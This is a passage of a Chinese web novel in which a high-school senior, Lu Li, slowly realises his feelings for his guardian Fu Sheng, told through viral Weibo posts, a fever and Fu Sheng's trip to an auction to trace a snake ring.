以前的网络这么发达,他都能应付这些媒体应付得如鱼得水,他可以确定现场没有媒体。 “没有媒体?”蒋文疑惑了,“没有媒体怎么会上了电视台。” 傅生捏了捏手指上的扳指:“估计是被骗到传销窝点的人,或者他们家属。” 看电视上视频的画质,确实也不像是摄影机拍摄。 蒋文哦了一声说:“问题不大,这事也不是多大的事,过几天人就都忘了。” 傅生没说话,只是反问道:“你这休班休的时间够长了,打算什么时候回来?” “我不在,你们就这么想我?”蒋文说,“陆离打电话不是刚问过,你又来问。” “陆离?”傅生疑惑了一声,转着戒指的手顿了一下:“什么时候问的?” “就昨天啊,”蒋文说,“合着你不知道啊,我还以为是你让他打电话问的呢。” 说着,他又开始小声嘀咕:“那就奇了怪了,我在家的时候这小子都不正眼看我一眼,我走了终于意识到蒋文叔叔的好了。” 傅生嘲笑道,“别想太多了,只是家里的地没人扫了而已。” 蒋文:“……” 他对家里这两个人真是醉了,一个大的老狐狸,喜欢笑着怼人,一个小的冷着脸,一句话将人堵死。 蒋文心说他怎么这么命苦,摊上这两个祖宗。 “行了,挂了吧,”蒋文说,“这几天这里有个拍卖会,我凑个热闹就回去。” 傅生挂了电话,微垂着眸子坐在沙发上,手指无意识地转着戒指,开始思考刚才的蒋文说的事。 陆离的性格他最清楚不过。 他主动打电话让蒋文回来?是因为什么? 他又想起了那天在巷子里的不经意的碰触,其实在他看来并没有什么,只不过是不小心碰到了而已。 不过—— 傅生轻笑了一下,也是,十七八岁的年纪,正是对这些敏感的时候。 倒是也正常。 至于电视上这事。 电视上的热度几天就会过去,世界上最不缺的就是话题,出轨打架,小三登堂入室,每个都比传销窝点可以吸引人的眼球。 但是他小看了人对于颜值追捧的狂热程度。 传销窝点被销毁上了电视之后,傅生照片的截图在新浪微博上被各方转发,呈爆发式地增长。 …… 高三日子虽然很紧,为了提高学习效率,学校里还是留了午休的时间。 但大部分的学生,都不会睡觉,譬如李学波,此刻他正弓着身子趴在桌子上玩手机。 他面前是高高地摞起来一排的课本,他个子又小,俯下身子,课本刚好把他整个人都遮住。 这样就算是老师来了,也看不见他。 整个教室,桌子上最干净的当属陆离,只有几支笔和当堂课要学的课本。 他低着头,笔摩擦桌子的声音在教室里显得格外明显,陆离刚解开一个数学题,答案根号还没有画完,身边的李学波就猛然抓了他一下。 “我靠,陆离。陆哥!” 根号被被长长地划了出去,像一个大帽子盖在是2上,陆离抿着唇冷着眼睛看向罪魁祸首李学波同学,声音像是含着一块冰:“你最好有正事。” 李学波这才看到自己干了什么事,抓紧道歉,“啊对不起,对不起,我就是太激动了。你看微博上的这个人是不是你哥?” 陆离的手指顿了一下,皱着眉拿过李学波手中的手机。 新浪微博上被疯狂转发的是一个截图。 照片有些模糊,但是仍能看出来是傅生,他穿着黑色风衣,正侧着脸微垂着眼睛不知道和谁讲话,旁边路灯的光打在他的脸上,又照进那双温沉好看的眼睛里。 陆离的手指弯了一下。 “不是哥,不是让你看照片,”李学波坐在一旁,十分想不明白他哥两个天天见,一张截图为什么看这么长时间,他提醒道,“你点开看看评论区。” 陆离收回目光,手指又向下划了一下。 【我靠,好帅,王特助,十分钟我要这个小哥哥的全部信息。】 【帮警方捣毁了传销窝点,天呢,智勇双全又多金最主要是这么帅!能不能当我男朋友。】 【楼上的,清醒点这是我的。妈妈,我要给他生猴子。】 李学波没注意到陆离的脸色越来越沉:“现在的小姑娘是有点疯狂哈。” 陆离没理他,手指继续向下翻。 接着一条评论就映入眼帘。 【这个男人长在我的审美上了,比我舍友都帅。】 下面很快就鼻子灵的网友问了一句。 【这个信息量有点炸裂,你和你舍友什么关系】 【以前是死对头,现在是男朋友,我一会儿就把这条删掉,万一被他看到,我就惨了,又得三天下不来床。】 下不来床——陆离手指僵了一下。 舍友,男朋友,两个人都是……男生。 那时候周围还没有同性恋这个概念,陆离有一瞬间的怔愣,他盯着那些字看了半晌,鬼使神差地点进了那个人的主页。 主页刚开始就是一张合照。 合照上面是两个穿着校服的男生,一个笑着显得古灵精怪很是活泼,一个冷着一张脸,眼睛的余光却落在身边的男生身上。 他手指不由自主地开始向下滑。 这个微博号的第一个微博是一个求助贴。 【求问,和一个很讨厌的人分到一个宿舍,他真是太讨厌了,怎么可以报复?】 下面的回答五花八门的。 什么扯他作业,打扫卫生的时候在地上扔垃圾,再或者将他方便面里的叉子和调味料都扔掉。 总结来说就是一个比一个损。 但这位博主只在一条评论下面回了消息。 【开个女号,和他网恋,在爱上你的时候,将他甩了。】 博主:【豁,这个是好主意。】 再回消息已经是三个月之后。有人评论@博主,问他怎么样,成功了吗。 博主: 【成功了。】 好事的网友闻着八卦就来了:“怎么成功的,能不能展开讲讲?真网恋去了?” 【是,我谢谢你们。真是热心。】 【因为现在,我正被他往死里草——】 楼下全是问号,盖了百十层楼。 陆离手指抓着手机,头一次感觉到了信息轰炸,感觉有什么碎了,又被重新建立起来了。 去打水的李学波看到陆离怔楞,凑过来,“怎么样,看完了吗?” 陆离抿着唇快速地划了一下,在微博页面上退了下来。 “看完了。没什么好看的。” 他故作冷淡的说。 李学波啊了一声接过手机,有些疑惑地抓了抓头,他感觉陆离和平时有些不一样,但是怎么反常个法他也说不上来。 他回了座位,目光不经意的又落在陆离有些红的耳朵上,心说今天很热吗? 他出去一趟都快冻死了。 …… 傅生很明显地感觉到了陆离放学回来有些不对劲。 具体表现在吃饭的时候,他一直低垂着眼睛,头也不抬,一句话都没有。 虽然平时话也很少。 但不至于一句话不说。 傅生伸手探了过去:“怎么不舒服?今天怎么一句话都没有?” 结果手刚放在额头,陆离就惊吓一般,快速向后撤了一下,片刻,又反应过来傅生是想测他的体温,他坐正身子抿着唇半晌,才闷声说:“我没事。” 傅生愣了一下。 “真的没事?” 两个人隔着桌子,陆离目光下意识落在傅生的脸上,晚上的灯光一照,他想起了微博上的傅生那张照片。 还有微博上那两个——男孩子。 陆离快速地移开眼睛,低声嗯了一声,然后起身冷声说:“我吃完了,先上去了。” 傅生看着那道上楼的身影,疑惑地颦了一下眉,他怎么觉得这个小崽子有点落荒而逃的感觉。 还好像有点怕自己。 当然刚出来这个想法,傅生就摇着头否定了,这无法无天的脾气,连个哥都不喊,他会怕自己? 若是被陆离知道了,估计会睨他一眼,没好气的问他是不是在做梦。 …… 陆离上楼之后,即使关上门,也能听见傅生的动静。 按照平时的习惯,他大概会在沙发上坐一会,若是有事情要处理,大概还会泡上一杯咖啡。 收拾完东西,大概九点多会上楼。 比如现在。 和往常不一样的是,傅生今天并没有直接回房间,脚步声在他门前停了片刻。 陆离的心收紧了一下,直到脚步声重新响起,他才松了一口气。 陆离看着自己桌子摆的数学题,原本半小时就能做完的试卷,现在一个字都没写。 今天有点太浮躁了。 他心说。 这时,李学波消息刚好发过来: 李学波:[哥,陆哥,亲哥,你的数学试卷写完了吗。] 陆离抿着唇拍了一张空白的数学试卷发了过去。 李学波:[我靠,陆离你今天这是咋了,一个字没写。] 陆离打字:[明天早晨给你。] 李学波瞬间发了过来一个谄媚的笑脸。 李学波:[你就是我的再生父母。那你先睡,不打扰你休息了。] 陆离抿了一下唇:[下午的图片还有吗?] 李学波:[] 陆离:[就是微博上那张,现在挂了。] 李学波点进去一看,还真是,果然挂掉了。 李学波:[估计是你哥的脸没遮住,怕大肆传播对你哥有影响,怕被人报复,所以官方封了] 李学波:[我这里也没有了,不过缓存记录可能找得到,你等等我找找。] 陆离嗯了一声,大约过了十分钟,李学波将照片传了过来。 他盯着照片看了半晌,按了保存,想了想又设成手机壁纸。 蒋文这时打电话过来邀功:“怎么样老板,我办事还麻利吧。” 傅生在微博上浏览了几圈,果然找不到一张他的照片这才满意。 傅生说:“怎么处理的?找到他们的负责人。” 蒋文呔了一声,“这点小活哪里还用这么麻烦,我黑进了他们的系统。” 傅生嗯了一声。 “不是,”蒋文说,“你怎么表现得这么冷淡,我可是黑进了新浪的总部。” 傅生笑了一声,心说你上辈子何止敢黑新浪的总部,再大都黑进去过。 蒋文没等到下文,无语啧了一声。 “挂了吧挂了吧。和你聊天真没意思。” “那怎么有意思?” 蒋文心说,涨工资有意思。 可惜是个抠老板。 “挂了挂了,这次真挂了。”蒋文打了个哈欠,“我得先睡了,老年人熬不起。” 傅生看着挂了电话,笑了一下,目光又落在隔壁的窗户上。 平时还亮着的灯今天已经关了。 看来今天不“害怕”了。 傅生看了须臾,收回了目光,在桌子上拿出那本笔记本。 他打开笔记。 里面没有字,有的只是一个画着的蛇环戒指,蛇头上是一颗绿色的翡翠。 傅生眼神极为冷淡地摸着这个戒指。 你——到底是谁。 却没人能给他回答。 这三年他一直在找这个戒指主人的消息,却像是石沉大海,连点泡沫都没有翻起来。 * 陆离这两年很少做梦了。 今天却是个例外。 他梦到了之前奶奶去世的时候,那时候他很小,但是对奶奶的记忆却很深。 桌子上摆放着一个芒果,芒果并不新鲜,但那也是当时很少吃到的水果,她干巴巴的手抓着芒果,交到了他手上。 “乖仔仔,这是你张叔打工带回来的,你吃吧。” 当时陆离还不知道死亡是什么概念,但是看着奶奶当时瘦骨嶙峋的模样,却先知道了什么是难过。 他当时在板凳上坐着,奶奶一直催他去吃芒果,他拗着脾气不吃,执意要一人一半。 奶奶拧不过他,干巴巴的手上托着沉甸甸的芒果。 另半个在他手上,他闷着头吃了几口,再抬头的时候,那半个芒果,奶奶最终没吃,就那么干巴巴地抓在手里,永远地闭上了眼。 后来,陆离在多个家里辗转,但再也吃不下芒果,甚至到了闻到一点味道就反胃程度。 再然后,他又梦到了,苏梅,梦到了苏国强,最后是傅生。 这些人一个个晃过了他的梦境,以奶奶开头,以傅生结尾。 是对他最好的两个人。 “陆离,”李学波凑过来看着他的脸色,“你这是没睡好啊?” 陆离将数学试卷递给李学波:“还看不看?” “看看看,”李学波立刻抓过试卷,“嘿嘿,你真是我亲哥。” 离上课还有一会,李学波在拼命补试卷。 陆离看了他一眼便收回了目光。 早晨醒来的时候,才四点,他躺在床上却睡不着了。翻了几个身,他很是烦躁地皱眉,最终起来把所有的试卷都做完了。 “你知道吗,咱们学校这两天新来一个老师,”李学波一边奋笔疾书,一边还不忘记八卦,说,“不出意外的是来咱们班。” 陆离皱了一下眉:“咱班?” “你看到咱们生物老师了吗,估计就是换掉她,”李学波说,“你有没有看出来她最近胖了?” 陆离回想了一下,却没想起来:“这有什么关系?” 李学波突然压低声音说:“其实不是胖了,是怀孕了,我听其他老师说,生物老师家里可期待这个孩子,所以刚三个月就不让她继续教了。” 陆离哦了一声,他对于谁教课这件事并不太在意。 中午上生物课的时候,果然生物老师今天没来上课。 班主任站在门口,“你生物老师有些不舒服,这节课就不上生物。” “那这节课上什么?” “不会是上你的课吧。老班。” 班主任看着下面这群小崽子,心说我看见你们就头疼,还给你们多上了课,我疯了? 他咳嗽了两声说:“前两天不是欠了你们体育老师一节课,这节课上体育去吧。” 这话一落,讲台下一阵激动。 学生像是放出了羊圈的羊羔子冲出了教室。 他还没有讲完话,就都跑出去了? 班主任刚想骂人,却见陆离还没走,垂着眸子冷淡的收拾东西,和那群小混蛋仿佛不是一个图层。 “陆离,”班主任走过去喊住人,“体育老师说先去器材室将篮球拿出来,那你帮忙跑一趟。” 陆离抬眼,冷淡地嗯了一声。 “这是个好学生,”班主任看着陆离的背影说,“就是性格冷了点,幸亏有那张脸撑着,不然以后怎么找女朋友。” 体育器材室离着操场不远,五六分钟就能到。 陆离和李学波一起来器材室拿篮球,临走的时候李学波却捂住肚子:“哎呦,我肚子疼,陆哥,你在这里等我一会。” 体育室很快就剩下他一个人,陆离站在架子旁边,却听见窸窸窣窣的声音。 前几天,体育室丢了好几个篮球,学校都在讨论,说是校外翻墙进来的。 陆离看着那块明显有人的地方,皱着眉走过去。 只是看到眼前的场景时,却让他全身僵了一下。 逼仄的空间里,两个穿着校服的男生,扶着架子在旁边接吻。 又是两个男生。 他捏着手指,捏的微微泛白。 陆离出来的时候,李学波刚好跑过来,他哎了一声:“陆哥不是说是等我一会吗,你怎么先出来了?” “里面太热,”陆离低着声音,随便找了一个借口。 李学波啊了一声,心说这个小破房子再热能热到哪里去。 不过他没敢开口。 …… 傅生看着陆离有些心不在焉的模样,手在他头上轻拍了一下:“干什么了这两天,丢了魂一样。” 陆离看了他一眼:“没有。” 傅生说:“那谈女朋友了?” 陆离声音更冷了:“没有。”片刻,他紧抿着唇闷着声问:“为什么是女朋友?” 傅生笑了:“你还想找个男朋友?也不是不行。” 明明是他抛出去的问题,听到傅生的问答,他却更不高兴了,冷着脸说,“我睡觉去了。” “睡这么早?”傅生在身后问。 陆离闷着头没说话,转身进了屋子。 这天晚上,他却没有再梦到其他人。 只梦到了傅生。 他们似乎又回到了那天,逼仄的空间,昏暗的灯光,灯光下是一身黑衣的傅生,正眸光浅淡的看着他。 陆离喉间动了一下,看着那双眼睛,扶着身后的青石墙低头吻了上去。 第二天醒来的时候,他皱着眉扶着额头在床上愣了一下,然后起身去了浴室。在深冬,洗了一个可以让人恢复理智的冷水澡。 只是水越洗越凉,头脑却越来越昏,只有那抹嫣红的唇在眼前挥之不去。 【作者有话说】 陆离:捅了男同窝了。 谢谢宝子们的打赏(叼玫瑰) 30-40 第0031章 第 31 章 ◎这下真的需要哄了◎ 傅生这几天醒得比较早, 或者说他睡眠很差,几乎没有睡。 他将在外面买的早餐摆在餐桌上,手里端着咖啡杯坐在沙发上。 陆离下来的时候, 他正慢悠悠地喝着咖啡, 听到动静, 他不经意地抬头看了一眼。 陆离的头发没干, 带着点潮湿在额前, 整张脸甚是冷淡。 “大早晨洗澡了?”傅生问。 陆离瘫着一张脸,半晌才嗯了一声。 傅生看着他的状态,轻笑了一声,“谁又惹你了祖宗。” 陆离瞥他一眼,又下意识的目光移下去, 落在他唇上,昨天晚上那个梦又浮现在脑海。 甚至他能清晰地记得那温凉柔软的触感。 疯了。 陆离心说。 他紧抿了一下唇, 快速地移开目光:“没有。” 说完, 他觉得语气太冷淡,又补充了一句:“没有人惹我。” 是他自己。 傅生:“是吗?” 陆离能感觉到傅生坐在一旁打量他的眼神。 他低头用最快的速度吃完早餐,然后抓过旁边的书包, 起身说:“我吃完了, 去上课了。” “等一下。”一直看着他的人突然开口。 陆离一愣, 皱眉回头看他。 傅生将咖啡杯放在桌子上,起身先是认真打量了他几眼, 然后开口道:“我要是没记错的话, 今天应该是周六,你这是上的哪门子的课。” 陆离:“……” 他抬头看了一眼日历, 才意识到自己干了一件蠢事。 他拿着书包, 在原地杵了一会。 他知道是他的行为有点反常, 但若是说记错的只会显得更反常。 片刻,陆离捏了一下手指的关节,找了一个听起来很合理借口:“说错了,是去图书馆。” “图书馆?”傅生挑了一下眉,“也行。” 陆离嗯了一声,转身刚要走,身后的人又开口:“等等。” 陆离绷起来的脸色差点破功,他扭头看向傅生。 却见傅生站在一楼的洗手间门口,对他招了招手。 “头发。” 陆离摸了一把自己头发,摸到了一把水珠。 洗完澡没擦干就下来了。 “吹干再走,人已经够冷的了,”傅生拿了一条毛巾丢给他,转身拿了一台吹风机,“还是你想把脑子也想冻成冰块?” 陆离看了他片刻,出于某种心思没还嘴,闷着头走了过去。 两个人站在一起,陆离已经比他高了一截。 以前需要低头牵着的人,现在得抬着头才能看到。 陆离站在镜子前,捏了一下手指,感觉到傅生的呼吸落在耳侧,那双修长的手碰着他的头发,抓的他有些心不静。 他刚想说,要不还是我来吧。 但目光落在镜子里,看着傅生沉静的眉眼时,却走了神。 片刻,他将手指松开,最终没开口,直到感觉到头发被吹干,傅生说:“这次可以走了。” 陆离这才拿过书包,出了古董店。 可能是他来得早,图书馆的人现在还不多,陆离找了一个位置坐下,拿出之前还没做完的数学题。 周围很安静,陆离写了几个字,头晕了一下,他皱了一下眉,以为是昨天晚上没睡好的原因。 伸出手指捏了捏鼻梁,陆离有些晕沉的做完学校里布置的所有试卷,看了一眼手机竟然已经三个小时。 以前他一个小时就能做完的作业,现在竟然用了三个小时。 直到现在,陆离才意识到不只是昨晚没睡好,他应该是感冒了。 因为早晨那个冷水澡。 现在中午十一点,现在回家的话,他和傅生就又会待到同一空间里。 可只要看到他,他就会想起昨天的梦。 陆离抿唇,顶着晕沉的脑袋,决定给自己找点活干,忘掉这些。 他走到旁边的书架上,上面的书琳琅满目,从历史到科技再到各种学术研究。 陆离原本是想要找法律类,手指落在那一栏的时候,目光却扫到一本和这边格格不入的书名《同性之爱》。 他心思不定,最后手指最后落在那本书上。 翻开第一页,就是关于同性恋的介绍。 同性恋属于性倾向的一种,指对同性产生情感,爱情或者性的吸引力。[1] 他翻看了几页,走的时候,不知道出于什么心思,鬼使神差地向图书馆借了这本书,放进了书包里。 回到古董店的时候,已经是下午两三点了,门口堵着几个人,拿着摄影装备,不知道是哪里的记者。 陆离冷着脸走过去,一个男记者在身后倏然喊了他一声:“请问你是想进去买古董,还是本来就是这个古董店的人?” 陆离上下打量了他一眼,他知道傅生不喜欢媒体,冷着声音说:“都不是。” “那你进去干什么?”男记者问。 陆离被问得有点不耐烦。 他捏了捏手指,骨骼发出几声清脆的声音:“进去打人,你要一起吗?” 陆离的眼皮很薄,整个人又像个制冷剂放着冷气,压着眼睛看人的时候,确实是有些唬人。 男记者被噎了一下,下意识地后退了一步。 这话有点耳熟。 因为他刚才进古董店,问可不可以做拜访,那个长得好看的年轻人说:“这个店已经准备卖了,你要买吗?” 刚在里面吃了软钉子,现在又在外面吃了硬钉子。 男记者有点兜不住脸了,他身后的助理却不会看眼色,问道:“咱们要进去吗?” 记者不敢对别人发火,对着他助理斥道:“进个屁,走了。” 陆离收回目光,头也不回的进了店里。 结果刚进门就看到傅生倚在门框上,眼睛里都是笑意:“这是想进来打谁?” 一看就是刚才的话都听见了。 不帮忙也就算了,还在这里看热闹。 “打你,”陆离看着人说,“行吗?” 傅生说:“这么凶?是被骗钱了还是被骗色了?” 陆离瞪了他一眼。 傅生笑出了声。 陆离没理,径直地上了楼,头一直晕晕沉沉的,他揉了揉太阳穴,拿出了在图书馆借的那本书。 第二页,讲的是同性恋的成因。 同性恋性倾向的成因尚没有定论,但遗传基因,大脑发育,激素分泌,后天环境都有可能成因。[2] 陆离看着这些理论,好像和他都不沾边,有的只是那个梦。 他又翻了几页,最后实在没撑住,趴在桌子上睡过去,什么时候睡着的他不知道,只迷迷糊糊地听着有人喊他的名字。 再然后是门打开的声音。 陆离感觉眼皮很重,等他费力地睁开的时候,傅生坐在床边,看着他没好气地说:“醒了?祖宗。” “我怎么了。”陆离缓了一会,半晌开口问,只是嗓子却嘶哑得厉害。 “没怎么,”傅生说,“就是把自己烤到了39°” 六七点的时候,他在楼下喊这祖宗吃饭,喊了五六声也没见人回应。 傅生这才觉察不对劲,上楼开门一看,陆离弓着身子趴在桌子上,面前的窗户开了一条缝,风吹着他面前的书页哗哗作响。 “你没感觉到自己发热了?”傅生没好气地问。 陆离心说,感觉到了。 他这会头脑昏沉,想起身,却被傅生又按进被子里。 “别动,”傅生看着陆离模样,叹了一口气,“饿了吗?我去给你拿点东西。” 陆离摇了摇头。 “我猜你这会也吃不下去,”傅生说,“但不吃点东西压不住病,少吃一点。” 他说着,就起身下了楼,再上来的时候,手里多了一碗粥。 陆离原本不想吃,傅生却坐在一旁,目光温温沉沉地看着他,莫名地比平时多了几分温和亲近的味道。 他沉默一会儿坐起来吃了几口。 等到吃完的时候,傅生起身,陆离皱了下眉,手却比脑子快了一步动作。 傅生看着那双清瘦的手抓着自己的衣服,眉心挑了一下。 陆离抿了一下唇,嗓音有些沙哑地问他:“你去干什么?” “生个病限制人身自由了?”傅生看着他说,“怎么比平时还不讲理。” 陆离唇抿的更紧了。 人在生病的时候,总是莫名地对周围人产生依赖。 傅生低头看着那只手,想起小时候跟着苏梅,他怕自己再次抛弃,也是这样抓着人。 他的心倏然软了一下,又重新坐回去:“睡吧,我不动,在这里看着你。” 陆离手没有松开,傅生手也没有抽出来。 两个人维持着这样的姿势,谁也没说话。 可能是因为知道有人守着的原因,这才陆离睡得很安稳,再睁开眼的时候,手中空了,旁边空无一人。 陆离看着自己的手愣了几秒,倏然想起什么,几乎慌乱地坐起身。 他昨天在睡过去之前,在干什么来着? 陆离快速地下床,目光扫过桌子,那本《同性之爱》正被摆放的端端正正地放在桌子上。 傅生看见了。 陆离垂着眸子。 * 傅生确实看到了陆离看的那本书,他只要稍微想一想就能把事情串联起来。 陆离最近的反常,看见他为什么回避,还有突然多出来的这本本书。 他倒是不觉得陆离对他有什么想法,只是觉得青春期男生的正常表现,等冷静一段时间差不多就能恢复正常。 不过,两个人一直这样尴尬相处,也不是办法。 傅生垂着眸子想。 刚好这时蒋文的电话打了过来。 蒋文:“最近这几天不是举行拍卖会吗?我听到有个商品你应该感兴趣。” 傅生:“什么?” “就是那次我打扫卫生看到的那个草图,”蒋文尝试着形容了一下,“蛇头上顶着一个翡翠的戒指的那种。” 傅生愣了一下,手指捏住手机:“你确定?” “不是很确定,”蒋文说,“这个商品没开场之前都不能看,所以我只是听周围人的形容,至于是不是真的不知道。” 傅生捻了一下手指:“我去看看。” “不用,”蒋文说,“还不一定呢,到时候开场了我拍给你就行。你就别白跑一趟了,再说了,你来了,陆离怎么办,自己在家待着?” 傅生垂下眸子,他离开一段时间,刚好可以缓解一下陆离对他的产生的尴尬情绪。 “你回来照顾他。”傅生说,“我去一趟。” 蒋文:“……” 不是!怎么就他照顾了。 让他看着那位天天冷脸的祖宗,不如杀了他。 蒋文有点想打前几分钟的自己一巴掌。让你多这个嘴。 陆离周一去教室的时候,李学波一群人聚在一起。 “我猜新来的生物老师是个女老师。” “男老师。” “啊,不要啊,咱们再来一个男老师,全科老师就全部都是男老师了。” “什么时候可以分过来一个美女老师。” 几个学生在这里对着教室天花板哀嚎,李学波看着陆离坐了过来,凑近了问:“陆哥。你希望新来的生物老师是男老师还是女老师。” “随便。”陆离一如既往冷淡。 李学波说:“他们几个在打赌呢,你要不要压一个。” 陆离看他一眼:“赌注是什么?” 李学波:“帮忙写一星期数学作业。”说着,他的声音就越来越小,后来干脆闭嘴。 因为他们这几个人数学作业差不多都是抄的陆离的。 陆离若是不写了,他们抄谁的去。 他干笑了一声,然后又去和其他学生打赌去了。 今天第一节课是语文,课本上的内容早就学完了,现在正是第二轮复习的阶段。 语文知识相对于其他的学科相对简单,整节课上的沉闷,学生都死气沉沉地,等到下课铃一响,整个班的学生开始亢奋起来了。 简直比复活节还壮烈。 因为第二节是生物课? 光明顶说新老师已经来了,这个星期就能直接上课。 “女老师。” “男老师!” “是美女!” “帅哥!” 两边学生争论不休,直到一个脚步声在走廊里响起,一个穿着白衬衫三十多岁的男人走进教室。 他戴着一副黑色的眼镜,看上去倒是干净利落。 “你们这是在争论什么呢,这么激烈。”他看着班里的学生,一开口就带上了笑。 李学波向来会看人下菜,一看这老师看上去脾气很好的样子,他抖机灵地开口:“我们在讨论来的老师是帅哥老师,还是美女老师。” “那可能你们要失望了,”男老师还是带着笑说,“来的既不是美女,也不是帅哥,是我这个老男人。” 下面学生笑着齐声开口:“老师,你不老!” “和你们这群祖国的鲜嫩花朵比起来,”男老师看着下面的学生,“我说自己是老男人不为过。自我介绍一下,我的名字是吴海昊。以后担任你们的生物老师。” 陆离看着上面的老师,下意识地皱了一下眉。 他性格冷淡,对周围的人和事也关注得很少,但眼前的这个老师,让他有一种奇怪的感觉。 尤其是他在说出自己名字的时候。 不过很快陆离就垂下眸子,老师脾气好还是差,和他关系都不太大。 下午放学,陆离回到古董店,在院子的躺椅上却没有看到熟悉的身影。 他愣了一下,又向前走,屋子里的沙发上也没有。 “surprise,”蒋文在楼梯上跳了下来,看着板着脸的陆离说,“惊不惊喜,意不意外。” 陆离只是看了他一眼,便移开了眼睛,拿着书包继续向楼上走。 “不是,就算是没有想我,”蒋文没好气地说,“那也不用这么冷淡吧。” 陆离在楼上走了一圈,确定楼上也没有人,这才站在楼梯上垂着目光看向蒋文问:“他呢?” “现在知道搭理我了?”蒋文哼哼一声,接着又道,“你别找人了,傅生得出去一段时间,这段时间我负责你的饮食起居。” 陆离的眉心瞬间就颦了起来,捏着书包带的手指收紧。 出去一段时间,傅生没有告诉他。 甚至今天早晨走的时候,那人还在笑着还在打趣他,却没有说他要出去的事情。 “我知道了。”他垂着眼睛说完,拿着书包回了房间。 傅生平日里看着散漫,对什么都不太关心的模样,心思却很细腻。 这次出去,是真的有事还是因为他? 陆离抿唇沉吟半晌,回过神来的时候,却发现桌面上多了一个纸箱子。 他看了几眼,不用想也知道谁留下的。 打开之后,里面放着满满一箱子的糖和巧克力。 他上下找了一遍,只有这一箱子甜品,没有留一句话。 陆离天天冷着一张脸,却没有人知道他喜欢吃甜,除了傅生。 当然,他也不承认自己喜欢吃甜。 只有傅生喜欢拿着糖逗他:“天天苦着一张脸,吃个糖中和一下。” 他拿起一颗糖放在嘴里,甜味在嘴里蔓延。 这时,手机在桌子上响了几下,陆离瞥了一眼,是傅生发来的。 傅生:[看到那个箱子了?里面的糖一天最多只能吃三块] 你人都走了,凭什么听你的。 陆离冷着脸将手机扔到一旁,半晌又捞起来。 他原本想问,出门为什么没有告诉他,但想了半晌,又删掉了。 陆离:[什么时候回来] 傅生:[等你把箱子里的糖吃完的时候] 陆离的目光落在那个大箱子上,一天吃三块,吃上一年也吃不完。 屏幕上的光映着他雪白的脸,他黑着脸打字:[那你别回来了] 傅生看到这么句话的时候,正坐在飞机上,顿时笑了。 乘务员在旁边提醒:“先生,飞机要起飞了,请将的手机关机,或者打开飞行模式。” 傅生应了一声,给陆离说了一句,便将手机关上了机。 等飞机起飞,他看着外面的云层时,却释然回过味来。 这对话怎么这么像妻管严。 这个想法连他自己都笑了,他一个大名鼎鼎的骗子,什么时候被别人管过。 也就家里那位敢了。 就这样,过了半个月,陆离每次回家都下意识地向院子上的躺椅上看一眼。 但是那里始终空荡荡,陆离眼神一天比一天暗。 直到某天,离了好远,陆离就看到古董店的门口停了一辆车,他先是一愣,接着跑回了院子。 迎面刚好看到出门的蒋文,蒋文上下打量他一圈,盯着他额头上的汗说:“你遇到鬼了?” 陆离没理他,径直的就向房间里跑,结果看到傅老爷子坐在沙发上,看到陆离,他慈祥弯了弯眼睛。 “放学了?” 陆离垂下眸子嗯了一声,只说:“我先上楼了。” 傅老爷子看着蒋文问:“这孩子这是怎么了?” 蒋文没心没肺地回答:“可能高三压力大,老爷子咱别管他。来喝茶,这是我特地在长白山带回来的,您尝尝。” 傅老爷子走后,蒋文给傅生打过去电话。 “你还不回来?陆离这几天我看着他越来越不开心。再不回来,小心你这宝贝祖宗真成冰块。” 傅生垂着眼眸说:“再等几天。” 没想到,还没等几天,第二天陆离在学校里就摔了腿。 蒋文去的时候,陆离那条腿上打了石膏,床上的人沉着一双黑黝黝的眼睛,一句话也不说。 他打电话将这件事告诉了傅生。 傅生皱眉:“摔了腿?严重吗?” 蒋文:“我看着挺严重的,都打上石膏了,那可怜的样子啧啧。” 傅生沉默了几秒:“你把电话给陆离。” 蒋文拿着电话进了病房,将手机递了过去:“你哥电话。” 陆离抿着唇,接过电话。 傅生听着清浅的呼吸声,然后喊了一句:“陆离?” 陆离没吭声。 接着沉默了一会,他听着那道冷冷的嗓音对着蒋文说:“不认识。诈骗电话。” 蒋文:“?” 傅生笑了一声。 看来这下真的需要哄了。 【作者有话说】 [1][2]来自关于同性恋百度百科 感谢各位宝子打赏[叼两只玫瑰] 第0032章 第 32 章 ◎爱早就在心脏里滋生◎ 傅生手指碰了一下鼻尖, 止住了笑,问道:“真不跟我讲话?那我挂了。” 那边沉默了一会,才别扭地一般地问:“什么时候回来?” 他的嗓音总是带着点冷调, 这次也一样, 只不过不同的是, 傅生在里面竟然听出了些许的委屈。 他沉默了一会, 半晌认命一般地叹了一口气:“晚上就回。” 陆离抿了一下唇, 这才冷淡地嗯了一声。 挂了电话之后,蒋文看着这冷脸小少爷的脸色肉眼可见地好了起来,虽然还是沉着脸,好歹是正脸看人了。 蒋文将手机收起来,有点酸地说:“我天天帮你做饭扫地, 竟然比不上傅生一句话?” 冷脸少爷看他一眼,冷着声音指使人:“帮我把作业拿过来。” 然后又看着蒋文的脸色, 补上一句:“谢谢。” “你——” 半晌, 蒋文叹了一口气,然后对自己老妈子的身份被迫接受良好:“知道了少爷。老奴这就给你拿。” 少爷身残志坚,就算是裹上石膏, 还是不忘写试卷, 甚至还有时间在手机上给同学回消息。 蒋文瞥了一眼, 是一个班级群。 里面的学生正在嗷嗷待哺。 [完了,这次我们班的外挂不在。怎么办。] [啊啊啊啊啊啊我才想起来, 我们的挂在医院。咋办。咋办。] [@陆哥, 你不来,我今天的数学测试怎么办] [@陆哥, 灭绝大师说这次只要不及格的, 全部抄试卷抄十遍, 他是想杀了我们啊] 蒋文看着陆离看了一眼手机,不知道是不是今天心情尚佳,纡尊降贵伸着瘦长的手指,在屏幕上点了几下。 陆离:[发过来] 班里的那群小崽子直接炸了。 一溜烟地刷屏幕。 [哥,唯一的哥] [天呢,你就是大慈大悲的救世主。] 几秒钟的时间,陆离多了一群小弟。 李学波那个二百五在群里回:[你们都靠边站,这是我哥] 接着,他就发了一张图片,这次数学测试的试卷。 [嘿嘿,哥,你慢慢看,不急。] 陆离只是看了几眼,就找了一张空白的纸向上划了几个答案,蒋文在旁边的闲的无事,偶尔会瞥几眼。 一张试卷,陆离只用了二十多分钟就全部做完。 他双手交叠在一起,活动了一下手指。 拿着手机拍了一张照片发了出去。 接着群里又是一群马屁精。 陆离只扫了一眼,就关了那个群,接着蒋文看他划了几下,手指停在一个骗人精的备注上。 他大脑看到的第一秒还在想这个骗子精是谁。 第二眼,看到那个熟悉的头像。 他拿出手机看了一眼,果然那个头像的主人是他们敬爱的傅大老板。 蒋文笑了一声,也就这个祖宗敢直接叫人骗人精了。 这个病房里就陆离一个病人,所以他的笑意在房间里尤为突兀,陆离撩着薄薄的眼皮看了他一眼。 